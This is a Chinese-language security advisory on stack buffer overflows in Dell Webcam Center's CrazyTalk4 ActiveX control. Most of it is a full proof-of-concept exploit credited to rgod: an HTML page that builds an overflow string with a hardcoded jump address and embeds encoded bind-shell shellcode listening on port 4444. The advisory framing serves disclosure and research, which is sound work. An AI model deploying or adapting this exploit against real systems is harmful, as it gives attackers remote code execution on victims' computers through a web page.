发布日期:2012-03-19
更新日期:2012-03-21
受影响系统:
Dell Webcam Center
描述:
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BUGTRAQ ID: 52560
DELL Webcam Center 可以直接进行视频录制、照片捕捉、动态捕捉、远程监控等功功能。
DELL Webcam Center在实现上存在多个栈缓冲器溢出漏洞,攻击者可利用这些漏洞执行任意代码。
<*来源:rgod (rgod@autistici.org)
链接:
*>
测试方法:
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警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
rgod (rgod@autistici.org)提供了如下测试方法:
<!-- Dell Camera Software ActiveX Control CrazyTalk4Native.dll sprintf Remote Buffer Overflow Exploit bind shell, IE-NO-DEP Binary path: C:\Program Files\Common Files\Reallusion\CT Player\crazytalk4.ocx ProgID: CRAZYTALK4.CrazyTalk4Ctrl.1 CLSID: {13149882-F480-4F6B-8C6A-0764F75B99ED} Safe for Scripting (Registry): True Safe for Initialization (Registry): True --> <!-- saved from url=(0014)about :internet --> <html> <object classid='clsid:13149882-F480-4F6B-8C6A-0764F75B99ED' width=100; height=100; /> </object> <script> //bad chars: //\x80,\x82-\x8c,\x8e,\x91-\x9c,\x9e-\x9f var x=""; for (i=0; i<216; i++){x = x + "A";} x = x + "\x50\x24\x40\x77";//0x77402450 jmp EBP, user32.dll - change for your need for (i=0; i<140; i++){x = x + "A";} // windows/shell_bind_tcp - 696 bytes // // Encoder: x86/alpha_mixed // EXITFUNC=seh, LPORT=4444, RHOST= x = x + "‰åúDùuô^VYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLCZJKPMM8KIKOKOKOE0LKBLFDQ4LKG5GLLKCLC5CHC1JOLKPOB8LKQOGPC1JKQYLKFTLKC1JNP1IPJ9NLMTIPCDEWIQIZDMC1IRJKL4GKPTQ4FHCEKULKQOGTEQJKBFLKDLPKLKQOELC1JKESFLLKK9BLGTELE1HCFQIKE4LKPCP0LKQPDLLKD0ELNMLKQPC8QNE8LNPNDNJLPPKOHVE6PSCVE8P3FRE8D7CCGBQOQDKON0E8HKJMKLGKPPKOIFQOLIJEE6K1JMC8C2QEBJERKOHPE8N9DIKENMF7KOHVPSF3QCQCF3QSF3QSF3KON0E6E8B1QLE6F3K9M1J5BHNDDZBPIWQGKOIFCZDPPQQEKOHPBHI4NMFNM9QGKOHVQCQEKOHPBHM5QYK6QYPWKON6F0PTF4QEKON0LSE8M7CIHFD9PWKON6F5KON0CVBJCTBFCXE3BMMYM5CZF0QIGYHLK9M7CZPDMYKRP1IPL3NJKNG2FMKNG2FLLSLMCJFXNKNKNKCXBRKNH3DVKOD5G4KOHVQKQGF2F1PQPQBJEQPQPQQEPQKON0BHNMIIC5HNQCKOIFCZKOKOP7KON0LKF7KLMSHDE4KON6PRKON0BHJPMZDDQOPSKON6KOHPAA"; try{ obj.BackImage = x; }catch(e){ } </script>
建议:
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厂商补丁:
Dell
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目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: